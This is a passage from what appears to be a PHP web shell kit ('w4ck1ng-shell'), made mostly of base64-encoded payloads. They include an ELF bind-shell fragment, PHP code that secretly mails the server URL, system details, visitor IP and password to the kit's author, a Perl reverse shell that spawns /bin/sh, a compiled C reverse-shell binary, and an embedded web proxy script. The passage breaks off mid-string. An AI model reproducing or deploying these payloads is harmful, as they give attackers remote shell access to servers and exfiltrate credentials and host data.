VAQEdMSUJDXzIuMABfZnBfaHcAcGVycm9yQEBHTElCQ18yLjAAZm9ya0BAR0xJQkNfMi4wAF9fZHNvX2hhbmRsZQBfX2xpYmNfY3N1X2ZpbmkAYWNjZXB0QEBHTElCQ18yLjAAX2luaXQAbGlzdGVuQEBHTElCQ18yLjAAc2V0c29ja29wdEBAR0xJQkNfMi4wAF9zdGFydABfX2xpYmNfY3N1X2luaXQAX19ic3Nfc3RhcnQAbWFpbgBfX2xpYmNfc3RhcnRfbWFpbkBAR0xJQkNfMi4wAGR1cDJAQEdMSUJDXzIuMABkYXRhX3N0YXJ0AGJpbmRAQEdMSUJDXzIuMABfZmluaQBleGl0QEBHTElCQ18yLjAAYXRvaUBAR0xJQkNfMi4wAF9lZGF0YQBfX2k2ODYuZ2V0X3BjX3RodW5rLmJ4AF9lbmQAc2VuZEBAR0xJQkNfMi4wAGh0b25zQEBHTElCQ18yLjAAX0lPX3N0ZGluX3VzZWQAX19kYXRhX3N0YXJ0AHNvY2tldEBAR0xJQkNfMi4wAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19nbW9uX3N0YXJ0X18A";
228$connects = "JGNyZWF0b3I9YmFzZTY0X2RlY29kZSgiZUhKMExtTjVZbVZ5Y0c5c1FHZHRZV2xzTG1OdmJRPT0i KTsKKCRzYWZlX21vZGUpPygkc2FmZXo9Ik9OIik6KCRzYWZlej0iT0ZGX0hFSEUiKTsKJGJhc2U9
229Imh0dHA6Ly8iLiRfU0VSVkVSWydIVFRQX0hPU1QnXS4kX1NFUlZFUlsnUkVRVUVTVF9VUkknXTsg CiRuYW1lID0gcGhwX3VuYW1lKCk7ICRpcCA9IGdldGVudigiUkVNT1RFX0FERFIiKTsgJGlwMiA9
230IGdldGhvc3RieWFkZHIoJF9TRVJWRVJbUkVNT1RFX0FERFJdKTsgJHN1YmogPSAkX1NFUlZFUlsn SFRUUF9IT1NUJ107ICRpcDMgPSRfU0VSVkVSWydSRU1PVEVfUE9SVCddOyAkYnJvd3Nlcj0kX1NF
231UlZFUlsnSFRUUF9VU0VSX0FHRU5UJ107ICRwcyA9ICRwYXNzd29yZDsKJG1zZyA9ICJcbkJBU0U6 ICRiYXNlXG51bmFtZSBhOiAkbmFtZVxuQnlwYXNzOiAkYnlwYXNzZXJcbklQOiAkaXBcbkhvc3Q6
232ICRpcDIgJGlwMyAkcHdkcyAkYnJvd3NlciAkcHMiOwokZnJvbSA9IkZyb206ICIuJHdyaXQuIl9f Xz0iLiRzYWZlei4iPHRvb2xAIi4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uIj4iOwptYWlsKCAkY3Jl
233YXRvciwgJHN1YmosICRtc2csICRmcm9tKTsK";
234$back_connect_pl = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiOyc7DQokc3lzdGVtMT0gJ2VjaG8gImBpZGAiOyc7DQokc3lzdGVtMj0gJ2VjaG8gImBwd2RgIjsnOw0KJHN5c3RlbTM9ICdlY2hvICJgd2hvYW1pYEBgaG9zdG5hbWVgOn4gPiI7JzsNCiRzeXN0ZW00PSAnL2Jpbi9zaCc7DQokMD0kY21kOw0KJHRhcmdldD0kQVJHVlswXTsNCiRwb3J0PSRBUkdWWzFdOw0KJGlhZGRyPWluZXRfYXRvbigkdGFyZ2V0KSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQokcGFkZHI9c29ja2FkZHJfaW4oJHBvcnQsICRpYWRkcikgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHByb3RvPWdldHByb3RvYnluYW1lKCd0Y3AnKTsNCnNvY2tldChTT0NLRVQsIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCAkcHJvdG8pIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCmNvbm5lY3QoU09DS0VULCAkcGFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCm9wZW4oU1RESU4sICI+JlNPQ0tFVCIpOw0Kb3BlbihTVERPVVQsICI+JlNPQ0tFVCIpOw0Kb3BlbihTVERFUlIsICI+JlNPQ0tFVCIpOw0KcHJpbnQgIlxuXG46OiB3NGNrMW5nLXNoZWxsIChQcml2YXRlIEJ1aWxkIHYwLjMpIHJldmVyc2Ugc2hlbGwgOjpcblxuIjsNCnByaW50ICJcblN5c3RlbSBJbmZvOiAiOyANCnN5c3RlbSgkc3lzdGVtKTsNCnByaW50ICJcbllvdXIgSUQ6ICI7IA0Kc3lzdGVtKCRzeXN0ZW0xKTsNCnByaW50ICJcbkN1cnJlbnQgRGlyZWN0b3J5OiAiOyANCnN5c3RlbSgkc3lzdGVtMik7DQpwcmludCAiXG4iOw0Kc3lzdGVtKCRzeXN0ZW0zKTsgc3lzdGVtKCRzeXN0ZW00KTsNCmNsb3NlKFNURElOKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
235$back_connect_c = "f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAA2IUECDQAAABMDAAAAAAAADQAIAAHACgAHAAZAAYAAAA0AAAANIAECDSABAjgAAAA4AAAAAUAAAAEAAAAAwAAABQBAAAUgQQIFIEECBMAAAATAAAABAAAAAEAAAABAAAAAAAAAACABAgAgAQILAkAACwJAAAFAAAAABAAAAEAAAAsCQAALJkECCyZBAg4AQAAPAEAAAYAAAAAEAAAAgAAAEAJAABAmQQIQJkECMgAAADIAAAABgAAAAQAAAAEAAAAKAEAACiBBAgogQQIIAAAACAAAAAEAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAL2xpYi9sZC1saW51eC5zby4yAAAEAAAAEAAAAAEAAABHTlUAAAAAAAIAAAACAAAABQAAABEAAAAUAAAAAAAAAAAAAAARAAAAEgAAAAcAAAAKAAAACwAAAAgAAAAPAAAAAwAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFAAAABgAAAAAAAAABAAAAAAAAAAkAAAAAAAAADAAAAAAAAAAAAAAADQAAAA4AAAACAAAABAAAAAAAAAAAAAAAAAAAAAAAAAA2AAAAAAAAABwBAAASAAAArAAAAAAAAABxAAAAEgAAADwAAAAAAAAACwIAABIAAABIAAAAAAAAAH0AAAASAAAAjAAAAAAAAACsAQAAEgAAAKUAAAAAAAAArwAAABIAAABjAAAAAAAAACcAAAASAAAAkwAAAAAAAADdAAAAEgAAAEMAAAAAAAAAOgAAABIAAABcAAAAAAAAAKoBAAASAAAAVgAAAAAAAAA2AAAAEgAAAHMAAAAAAAAA2QAAABIAAAB4AAAAAAAAACgAAAASAAAAbQAAAAAAAAAOAAAAEgAAAC4AAAAAAAAAeAAAABIAAAB9AAAA8IgECAQAAAARAA4ATwAAAAAAAAA5AAAAEgAAAAEAAAAAAAAAAAAAACAAAAAVAAAAAAAAAAAAAAAgAAAAAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19nbW9uX3N0YXJ0X18AbGliYy5zby42AGNvbm5lY3QAZXhlY2wAcGVycm9yAGR1cDIAc3lzdGVtAHNvY2tldABiemVybwBzdHJjYXQAaW5ldF9hZGRyAGh0b25zAGV4aXQAYXRvaQBfSU9fc3RkaW5fdXNlZABkYWVtb24AX19saWJjX3N0YXJ0X21haW4Ac3RybGVuAGNsb3NlAEdMSUJDXzIuMAAAAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAEAAgAAAAAAAQABACQAAAAQAAAAAAAAABBpaQ0AAAIAsgAAAAAAAAAImgQIBhMAABiaBAgHAQAAHJoECAcCAAAgmgQIBwMAACSaBAgHBAAAKJoECAcFAAAsmgQIBwYAADCaBAgHBwAANJoECAcIAAA4mgQIBwkAADyaBAgHCgAAQJoECAcLAABEmgQIBwwAAEiaBAgHDQAATJoECAcOAABQmgQIBw8AAFSaBAgHEQAAVYnlg+wI6EEBAADolAEAAOjnAwAAycMA/zUQmgQI/yUUmgQIAAAAAP8lGJoECGgAAAAA6eD/////JRyaBAhoCAAAAOnQ/////yUgmgQIaBAAAADpwP////8lJJoECGgYAAAA6bD/////JSiaBAhoIAAAAOmg/////yUsmgQIaCgAAADpkP////8lMJoECGgwAAAA6YD/////JTSaBAhoOAAAAOlw/////yU4mgQIaEAAAADpYP////8lPJoECGhIAAAA6VD/////JUCaBAhoUAAAAOlA/////yVEmgQIaFgAAADpMP////8lSJoECGhgAAAA6SD/////JUyaBAhoaAAAAOkQ/////yVQmgQIaHAAAADpAP////8lVJoECGh4AAAA6fD+//8x7V6J4YPk8FBUUmhoiAQIaBSIBAhRVmiAhgQI6E/////0kJBVieVT6AAAAABbgcMHFAAAUouD/P///4XAdAL/0FhbycOQkJBVieWD7AiAPWSaBAgAdA/rH412AIPABKNgmgQI/9KhYJoECIsQhdJ168YFZJoECAHJw4n2VYnlg+wIoTyZBAiFwHQZuAAAAACFwHQQg+wMaDyZBAj/0IPEEI12AMnDkJBVieVXVlOD7EyD5PC4AAAAAIPAD4PAD8HoBMHgBCnEjX2ovvSIBAj8uQcAAADzpI19r/y5DgAAALAA86qD7AhqAGoB6FD+//+DxBBmx0XIAgCD7AyLRQyDwAj/MOi3/v//g8QQD7fAg+wMUOi4/v//g8QQZolFyoPsDItFDIPABP8w6DH+//+D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EgAAAFwCAAAAAAAAKAAAABIAAABsAgAAZJoECAAAAAAQAPH/cwIAAAyaBAgAAAAAEQAVAIkCAABomgQIAAAAABAA8f+OAgAAAAAAAA4AAAASAAAAnwIAAAAAAAB4AAAAEgAAALICAAAsmQQIAAAAABAC8f/FAgAA8IgECAQAAAARAA4A1AIAAFiaBAgAAAAAEAAWAOECAAAAAAAAOQAAABIAAADzAgAAAAAAAAAAAAAgAAAABwMAACyZBAgAAAAAEALx/x0DAAAAAAAAAAAAACAAAAAAY2FsbF9nbW9uX3N0YXJ0AGNydHN0dWZmLmMAX19DVE9SX0xJU1RfXwBfX0RUT1JfTElTVF9fAF9fSkNSX0xJU1RfXwBwLjAAY29tcGxldGVkLjEAX19kb19nbG9iYWxfZHRvcnNfYXV4AGZyYW1lX2R1bW15AF9fQ1RPUl9FTkRfXwBfX0RUT1JfRU5EX18AX19GUkFNRV9FTkRfXwBfX0pDUl9FTkRfXwBfX2RvX2dsb2JhbF9jdG9yc19hdXgAYmFjay5jAGV4ZWNsQEBHTElCQ18yLjAAX0RZTkFNSUMAY2xvc2VAQEdMSUJDXzIuMABfZnBfaHcAcGVycm9yQEBHTElCQ18yLjAAX19maW5pX2FycmF5X2VuZABfX2Rzb19oYW5kbGUAX19saWJjX2NzdV9maW5pAHN5c3RlbUBAR0xJQkNfMi4wAF9pbml0AGRhZW1vbkBAR0xJQkNfMi4wAF9zdGFydABzdHJsZW5AQEdMSUJDXzIuMABfX2ZpbmlfYXJyYXlfc3RhcnQAX19saWJjX2NzdV9pbml0AGluZXRfYWRkckBAR0xJQkNfMi4wAF9fYnNzX3N0YXJ0AG1haW4AX19saWJjX3N0YXJ0X21haW5AQEdMSUJDXzIuMABfX2luaXRfYXJyYXlfZW5kAGR1cDJAQEdMSUJDXzIuMABzdHJjYXRAQEdMSUJDXzIuMABkYXRhX3N0YXJ0AF9maW5pAF9fcHJlaW5pdF9hcnJheV9lbmQAYnplcm9AQEdMSUJDXzIuMABleGl0QEBHTElCQ18yLjAAYXRvaUBAR0xJQkNfMi4wAF9lZGF0YQBfR0xPQkFMX09GRlNFVF9UQUJMRV8AX2VuZABodG9uc0BAR0xJQkNfMi4wAGNvbm5lY3RAQEdMSUJDXzIuMABfX2luaXRfYXJyYXlfc3RhcnQAX0lPX3N0ZGluX3VzZWQAX19kYXRhX3N0YXJ0AHNvY2tldEBAR0xJQkNfMi4wAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19wcmVpbml0X2FycmF5X3N0YXJ0AF9fZ21vbl9zdGFydF9fAA==";
236$phpproxy="
237PD9waHANCg0KIw0KIyBTdXJyb2dhZmllciB2MS4wLXJjMw0KIw0KIyBBdXRob3I6IEJyYWQgQ2FibGUNCiMgRW1haWw6IGJyYWRAYmNhYmxlLm5ldA0KIyBMaWNlbnNlOiBNb2RpZmllZCBCU0QNCiMgTGljZW5zZSBEZXRhaWxzOg0KIyBodHRwOi8vYmNhYmxlLm5ldC9saWNlbnNlLnBocA0KIw0KDQoNCiMgQ09ORklHIHt7ew0KDQojIERlZmF1bHQgdG8gc2ltcGxlIG1vZGUgd2hlbiB0aGUgcGFnZSBpcyBsb2FkZWQuIFtmYWxzZV0NCmRlZmluZSgnREVGQVVMVF9TSU1QTEUnLGZhbHNlKTsNCiMgRm9yY2UgdGhlIHBhZ2UgdG8gYWx3YXlzIGJlIGluIHNpbXBsZSBtb2RlIChubyBhZHZhbmNlZCBtb2RlIG9wdGlvbikuIFtmYWxzZV0NCmRlZmluZSgnRk9SQ0VfU0lNUExFJyxmYWxzZSk7DQojIFdpZHRoIGZvciB0aGUgVVJMIGJveCB3aGVuIGluIHNpbXBsZSBtb2RlIChDU1MgIndpZHRoIiBhdHRyaWJ1dGUpLiBbMzAwcHhdDQpkZWZpbmUoJ1NJTVBMRV9NT0RFX1VSTFdJRFRIJywnMzAwcHgnKTsNCg0KIyBEZWZhdWx0IHZhbHVlIGZvciB0dW5uZWwgc2VydmVyLiBbXQ0KZGVmaW5lKCdERUZBVUxUX1RVTk5FTF9QSVAnLCcnKTsNCiMgRGVmYXVsdCB2YWx1ZSBmb3IgdHVubmVsIHBvcnQuIFtdDQpkZWZpbmUoJ0RFRkFVTFRfVFVOTkVMX1BQT1JUJywnJyk7DQojIFNob3VsZCB0aGUgdHVubmVsIGZpZWxkcyBiZSBkaXNwbGF5ZWQ/ICJmYWxzZSIgdmFsdWUgaGVyZSB3aWxsIGZvcmNlIHRoZSBkZWZhdWx0cyBhYm92ZSBbdHJ1ZV0NCmRlZmluZSgnRk9SQ0VfREVGQVVMVF9UVU5ORUwnLHRydWUpOw0KDQojIERlZmF1bHQgdmFsdWUgZm9yICJQZXJzaXN0ZW50IFVSTCIgY2hlY2tib3ggW3RydWVdDQpkZWZpbmUoJ0RFRkFVTFRfVVJMX0ZPUk0nLHRydWUpOw0KIyBEZWZhdWx0IHZhbHVlIGZvciAiUmVtb3ZlIENvb2tpZXMiIGNoZWNrYm94IFtmYWxzZV0NCmRlZmluZSgnREVGQVVMVF9SRU1PVkVfQ09PS0lFUycsZmFsc2UpOw0KIyBEZWZhdWx0IHZhbHVlIGZvciAiUmVtb3ZlIFJlZmVyZXIgRmllbGQiIGNoZWNrYm94IFtmYWxzZV0NCmRlZmluZSgnREVGQVVMVF9SRU1PVkVfUkVGRVJFUicsZmFsc2UpOw0KIyBEZWZhdWx0IHZhbHVlIGZvciAiUmVtb3ZlIFNjcmlwdHMiIGNoZWNrYm94IFtmYWxzZV0NCmRlZmluZSgnREVGQVVMVF9SRU1PVkVfU0NSSVBUUycsZmFsc2UpOw0KIyBEZWZhdWx0IHZhbHVlIGZvciAiUmVtb3ZlIE9iamVjdHMiIGNoZWNrYm94IFtmYWxzZV0NCmRlZmluZSgnREVGQVVMVF9SRU1PVkVfT0JKRUNUUycsZmFsc2UpOw0KIyBEZWZhdWx0IHZhbHVlIGZvciAiRW5jcnlwdCBVUkxzIiBjaGVja2JveCBbZmFsc2VdDQpkZWZpbmUoJ0RFRkFVTFRfRU5DUllQVF9VUkxTJyxmYWxzZSk7DQojIERlZmF1bHQgdmFsdWUgZm9yICJFbmNyeXB0IENvb2tpZXMiIGNoZWNrYm94IFtmYWxzZV0NCmRlZmluZSgnREVGQVVMVF9FTkNSWVBUX0NPT0tTJyxmYWxzZSk7DQoNCi8qLyBBZGRyZXNzIEJsb2NraW5nIE5vdGVzIFwqXA0KDQpGb3JtYXRzIGZvciBhZGRyZXNzIGJsb2NraW5nIGFyZSBhcyBmb2xsb3dzOg0KDQogIDEuMi4zLjQgICAgIC0gcGxhaW4gSVAgYWRkcmVzcw0KICAxLjAuMC4wLzE2ICAtIHN1Ym5ldCBibG9ja2luZw0KICAxLjAvMTYgICAgICAtIHN1Ym5ldCBibG9ja2luZw0KICAxLzggICAgICAgICAtIHN1Ym5ldCBibG9ja2luZw0KICBwaHAubmV0ICAgICAtIGRvbWFpbiBibG9ja2luZw0KDQpEZWZhdWx0IFZhbHVlOiAnMTAvOCcsJzE3Mi84JywnMTkyLjE2OC8xNicsJzEyNy84JywnMTY5LjI1NC8xNicNCg0KXCpcIEVuZCBBZGRyZXNzIEJsb2NraW5nIE5vdGVzIC8qLw0KDQokYmxvY2tlZF9hZGRyZXNzZXM9YXJyYXkoJzEwLzgnLCcxNzIvOCcsJzE5Mi4xNjgvMTYnLCcxMjcvOCcsJzE2OS4yNTQvMTYnKTsNCg0KIyB9fX0NCg0KIyBBRFZBTkNFRCBDT05GSUcge3t7DQoNCiMgVGhlIGZvbGxvd2luZyBvcHRpb25zIGFsdGVyIHRoZSB3YXkgZG9jdW1lbnRzIGFyZSBwYXJzZWQgb24gdGhlIHBhZ2UuICBPTkxZIEVESVQgVEhJUyBTVFVGRiBJRiBZT1UgUkVBTExZIEtOT1cgV0hBVCBZT1UgQVJFIERPSU5HIQ0KDQojIDUwMCBpcyB0aGUgbW9zdCByZWFzb25hYmxlIG51bWJlciBJIGNvdWxkIGNvbWUgdXAgd2l0aCBhcyBhIG1heGltdW0gVVJMIGxlbmd0aCBsaW1pdA0KIyBJIHJhbiBpbnRvIGEgMTIwMCsgY2hhcmFjdGVyIGxvbmcgVVJMIG9uY2UgYW5kIGl0IG5lYXJseSBtZWx0ZWQgdGhlIHByb2Nlc3NvciBvbiBteSBsYXB0b3AgdHJ5aW5nIHRvIHBhcnNlIGl0DQojIEhvbmVzdGx5LCB3aG8gbmVlZHMgdGhpcyBsb25nIG9mIGEgVVJMIGFueXdheT8NCmRlZmluZSgnTUFYSU1VTV9VUkxfTEVOR1RIJyw1MDApOw0KDQojIFRpbWUgbGltaXQgaW4gc2Vjb25kcyBmb3IgYSBzaW5nbGUgcmVxdWVzdCBhbmQgcGFyc2UuIFsxMF0NCmRlZmluZSgnVElNRV9MSU1JVCcsMTApOw0KIyBUaW1lIGxpbWl0IGluIG1pbnV0ZXMgZm9yIGEgRE5TIGVudHJ5IHRvIGJlIGtlcHQgaW4gdGhlIGNhY2hlLiBbMTBdDQpkZWZpbmUoJ0ROU19DQUNIRV9FWFBJUkUnLDEwKTsNCg0KIyBVc2UgZ3ppcCAoaWYgcG9zc2libGUpIHRvIGNvbXByZXNzIHRoZSBjb25uZWN0aW9uIGJldHdlZW4gdGhlIHByb3h5IGFuZCB0aGUgdXNlciAobGVzcyBiYW5kd2lkdGgsIG1vcmUgQ1BVKSBbZmFsc2VdDQpkZWZpbmUoJ0daSVBfUFJPWFlfVVNFUicsZmFsc2UpOw0KIyBVc2UgZ3ppcCAoaWYgcG9zc2libGUpIHRvIGNvbXByZXNzIHRoZSBjb25uZWN0aW9uIGJldHdlZW4gdGhlIHByb3h5IGFuZCB0aGUgc2VydmVyIChsZXNzIGJhbmR3aWR0aCwgbW9yZSBDUFUpIFtmYWxzZV0NCmRlZmluZSgnR1pJUF9QUk9YWV9TRVJWRVInLGZhbHNlKTsNCg0KIyBQcm90b2NvbCB0aGF0IHByb3h5IGlzIHJ1bm5pbmcgb24uICBVbmNvbW1lbnQgdGhpcyBsaW5lIHRvIGRlZmluZSBpdCBtYW51YWxseS4NCiMgSWYgeW91IGxlYXZlIHRoaXMgbGluZSBjb21tZW50ZWQsIHRoZSBjb2RlIGRldGVjdHMgaWYgeW91IGFyZSBydW5uaW5nIG9uIGFuDQojIEhUVFBTIGNvbm5lY3Rpb24uICBJZiB5b3UgYXJlLCB0aGVuICdodHRwcycgaXMgdXNlZCBhcyB0aGUgUFJPVE8gdmFsdWUsDQojIG90aGVyd2lzZSAnaHR0cCcgaXMgdXNlZC4gIElmIHlvdSBuZWVkIGEgZGlmZmVyZW50IHZhbHVlIGhlcmUsIHRoZW4gZGVmaW5lIGl0Lg0KI2RlZmluZSgnUFJPVE8nLCdodHRwJyk7DQoNCiMgfX19DQoNCg0KLy8gRE9OJ1QgRURJVCBBTllUSElORyBBRlRFUiBUSElTIFBPSU5UIFxcDQoNCg0KIw0KIyAodW5sZXNzIHlvdSBhYnNvbHV0ZWx5IGtub3cgd2hhdCB5b3UgYXJlIGRvaW5nLi4uKQ0KIw0KDQojIENPT0tJRSAmIFNFU1NJT04gU0VUVVAge3t7DQoNCi8vJHRvdHN0YXJ0dGltZT1taWNyb3RpbWUodHJ1ZSk7ICMgQkVOQ0hNQVJLDQovLyRibG9ja2VkX2FkZHJlc3Nlcz1hcnJheSgpOyAjIERFQlVHDQoNCiMgc2V0IGVycm9yI